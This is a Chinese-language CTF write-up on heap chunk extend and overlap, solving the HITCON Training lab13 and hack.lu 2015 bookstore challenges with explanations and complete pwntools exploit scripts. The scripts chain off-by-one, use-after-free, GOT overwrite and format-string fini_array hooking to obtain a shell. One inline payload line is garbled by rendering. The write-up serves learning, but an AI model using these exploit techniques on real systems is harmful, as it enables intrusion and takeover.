Chunk Extend and Overlapping

HITCON Trainging lab13

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/chunk-extend-shrink/hitcontraning_lab13

grxer@grxer ~/D/c/p/heap> checksec heapcreator
[*] '/home/grxer/Desktop/ctfwiki/pwn/heap/heapcreator'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

heaparray是一个在bss段的全局heap结构体数组

struct heap {
	size_t size ;
	char *content ;
};

free后没有将content指针置零

在edit时还存在off by one漏洞

if ( heaparray[v1] )
  {
    printf("Content of heap : ");
    read_input(heaparray[v1]->content, heaparray[v1]->size + 1);
    puts("Done !");
  }

我们可以利用空间复用的机制改掉下一个chunk的size

create(0x18, b"one")
create(0x10, b"two")

会创建出4个0x20的chunk,其中one的chunk会利用two的pre_size来存放数据

Chunk Extend and Overlapping_第1张图片

这样我们编辑one的context就可以控制two的size

edit(0, “/bin/sh\x00” + “a” * 0x10 + “\x41”)

改为41

Chunk Extend and Overlapping_第2张图片

再释放two delete(1) 可以看到已经有了overlap的chunk

Chunk Extend and Overlapping_第3张图片

再申请一个堆块create(0x30, p64(0) * 4 + p64(0x30) + p64(elf.got[‘free’]))

这样我们的 *heap会申请到0x20的chunk,content会申请到0x40的chunk,我们的0x40chunk会overlap到0x20的chunk,从而控制其内容,我们把他的content指针改为got就,可以在show的时候输出地址

Chunk Extend and Overlapping_第4张图片

这样就可以得到system地址,这时候去edit two,就会修改free got里面内容,改为system,再去delete one,加上我们之前输入的binsh就可以拿到shell

Chunk Extend and Overlapping_第5张图片

exp

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./heapcreator'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
    io = remote()
else:
    io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
p =lambda x,y:success(x+'-->'+hex(y))
def create(size, content):
    io.recvuntil(b":")
    io.sendline(b"1")
    io.recvuntil(b":")
    io.sendline(str(size).encode())
    io.recvuntil(b":")
    io.sendline(content)
def edit(idx, content):
    io.recvuntil(b":")
    io.sendline(b"2")
    io.recvuntil(b":")
    io.sendline(str(idx).encode())
    io.recvuntil(b":")
    io.sendline(content)
def show(idx):
    io.recvuntil(b":")
    io.sendline(b"3")
    io.recvuntil(b":")
    io.sendline(str(idx).encode())
def delete(idx):
    io.recvuntil(b":")
    io.sendline(b"4")
    io.recvuntil(b":")
    io.sendline(str(idx).encode())
    
db('b *0x00400A43')
create(0x18, b"one") 
create(0x10, b"two") 
edit(0, b"/bin/sh\x00" + b"a" * 0x10 + b"\x41")

delete(1)
create(0x30, p64(0) * 4 + p64(0x30) + p64(elf.got['free']))  #1
show(1)
ru(b"Content : ")
free_ad =u64(r(6).ljust(8,b'\x00'))
p('free_addr',free_ad)
libc=LibcSearcher('free',free_ad)
base=free_ad-libc.dump('free')
p('base',base)
system=base+libc.dump('system')
edit(1,p64(system))
delete(0)
io.interactive()

2015 hacklu bookstore

https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/chunk-extend-shrink/2015_hacklu_bookstore

grxer@grxer ~/D/c/p/heap> checksec books_e_o 
[*] '/home/grxer/Desktop/ctfwiki/pwn/heap/books_e_o'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

大体思路

稍微看一下漏洞挺多的

  • main函数里有格式化字符串漏洞
  • delete_order函数里有uaf漏洞
  • edit_order函数里有任意堆覆盖漏洞,可以进行overlap

堆我们不能自己申请,只能main前面申请了0x80大小的三个堆,后面submit时一个0x140堆

print(dest)

dest是第三个堆,我们可以利用先利用覆盖漏洞将第二个堆的size覆盖为0x150这样再delete这个堆就会把dest一块释放到bins,后面再submit申请时,就会申请到这个堆,submit这个堆是可以利用堆1和堆2中的值控制的,从而计算好偏移,控制dest,进一步利用格式化字符串漏洞

unsigned __int64 __fastcall submit(char *all, const char *order1, char *order2)
{
  size_t v3; // rax
  size_t v4; // rax
  unsigned __int64 v7; // [rsp+28h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  strcpy(all, "Order 1: ");
  v3 = strlen(order1);
  strncat(all, order1, v3);
  strcat(all, "\nOrder 2: ");
  v4 = strlen(order2);
  strncat(all, order2, v4);
  *(_WORD *)&all[strlen(all)] = '\n';
  return __readfsqword(0x28u) ^ v7;
}

利用格式化漏洞基本上都要先泄露地址,再布置改写地址,此题也不例外

  }
  printf("%s", v5);
  printf(dest);
  return 0LL;

但是在格式化字符串漏洞之后,就会ret,无法再次利用,这就需要我们利用 fini_array hook掉执行流

fini_array hook

.init_array.fini_array中存放了指向初始化代码和终止代码的函数指针。

.init_array会在main()函数调用前执行,这样可以通过修该地址的指针来将控制流指向病毒或者寄生代码,因为比main执行还早,大部分恶意软件都是hook这个,感觉c++的构造函数或许和这个相关

.fini_array 函数指针在 main() 函数执行完之后才被触发,感觉c++的析构函数或许和这个相关

array[1]->array[0]

Chunk Extend and Overlapping_第6张图片

这样我们就可以二次利用漏洞进行改写地址

具体细节

刚开始的堆

Chunk Extend and Overlapping_第7张图片

payload = b"%“+str(2617).encode()+b"c%13$hn” + b’abc%51$p’ + b’def%26$p’
payload += b’A’*(0x74-len(payload))
payload=payload.ljust(0x88,b’\x00’)
payload += p64(0x151)

edit(1,payload)

覆盖size的堆

Chunk Extend and Overlapping_第8张图片

这里payload的%51是返回地址__libc_start_main+128的

为什么是0x74呢

这里submit函数可以看出他还进行拼接,正常的话需要0x90个字节到达dest内容,

‘Order 1:+chunk1+\n+Order 2:+Order 1: ’ 拼接导致他会多28个字节

0x90-28=0x74

我们再

delete(2)

payload2 = p8(0x0)*7 + p64(fini_array)
submit(payload2)

  fgets(s, 128, stdin);
    switch ( s[0] )
    {
      case '1':
        puts("Enter first 

这里我们利用fget,的s是在栈上的,gdb得到fini_array被写到了格式化字符串第13个参数

Chunk Extend and Overlapping_第9张图片

0x400830和main地址 0x400A39只有一个字节的差距我们在第一个payload利用b"%"+str(2617).encode()+b"c%13$hn"改写为main,这样main ret是会再次返回到main

第一个pay的%26$p是

在这里插入图片描述

他和后面的返回地址已经下次hook返回到main的地址的返回地址的栈地址偏移是固定的

Chunk Extend and Overlapping_第10张图片

计算出来ret_bp=fixed-0x461-0x100

这样我们就可以改写这个main的返回地址为one_gadget地址

payload=b’%‘+str(one_gadget&0xff).encode()+b’c%13 h h n hhn%'+str(((one_gadget>>8)&0xffff)-(one_gadget&0xff)).encode()+b'c%14 hhnhn’
print(payload)
payload += b’A’*(0x74-len(payload))
payload=payload.ljust(0x88,b’\x00’)
payload += p64(0x151)
edit(1,payload)
delete(2)
payload=p8(0x0)*7+p64(ret_bp)+p64(ret_bp+1)
submit(payload)

Chunk Extend and Overlapping_第11张图片

拿到shell

Chunk Extend and Overlapping_第12张图片

EXP

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./books_e_o'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
if args['REMOTE']:
    io = remote()
else:
    io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
p =lambda x,y:success(x+'-->'+hex(y))
def edit(order, name):
    io.recvuntil(b'5: Submit\n')
    io.sendline(str(order).encode())
    io.recvuntil(b' order:\n')
    io.sendline(name)


def delete(order):
    io.recvuntil(b'5: Submit\n')
    io.sendline(str(order + 2).encode())


def submit(payload):
    io.recvuntil(b'5: Submit\n')
    io.sendline(b'5' + payload)
    io.recvuntil(b'Order 1: ')
    io.recvuntil(b'Order 2: Order 1: ')
    
# db('b *0x400A91')
free_got = elf.got['free']
fini_array = 0x6011B8
main_addr = 0x400A39

payload = b"%"+str(2617).encode()+b"c%13$hn"  + b'abc%51$p' + b'def%26$p'
payload += b'A'*(0x74-len(payload))
payload=payload.ljust(0x88,b'\x00')
payload += p64(0x151)
edit(1,payload)
delete(2)
payload2 = p8(0x0)*7 + p64(fini_array)
submit(payload2)
ru(b'abc')
ru(b'abc')
__libc_start_main=int(r(14),16)-128
ru(b'def')
fixed=int(r(14),16)
p('__libc_start_main',__libc_start_main)
p('fixed',fixed)
libc=LibcSearcher('__libc_start_main',__libc_start_main)
base=__libc_start_main-libc.dump('__libc_start_main')
ret_bp=fixed-0x461-0x100
p('ret_bp',ret_bp)
one_gadget=0xebcf5+base
p('one_gadget',one_gadget)

print((one_gadget>>8)&0xffff)
payload=b'%'+str(one_gadget&0xff).encode()+b'c%13$hhn%'+str(((one_gadget>>8)&0xffff)-(one_gadget&0xff)).encode()+b'c%14$hn'
print(payload)
payload += b'A'*(0x74-len(payload))
payload=payload.ljust(0x88,b'\x00')
payload += p64(0x151)
edit(1,payload)
delete(2)
payload=p8(0x0)*7+p64(ret_bp)+p64(ret_bp+1)
submit(payload)
io.interactive()

你可能感兴趣的:(网络,安全,linux)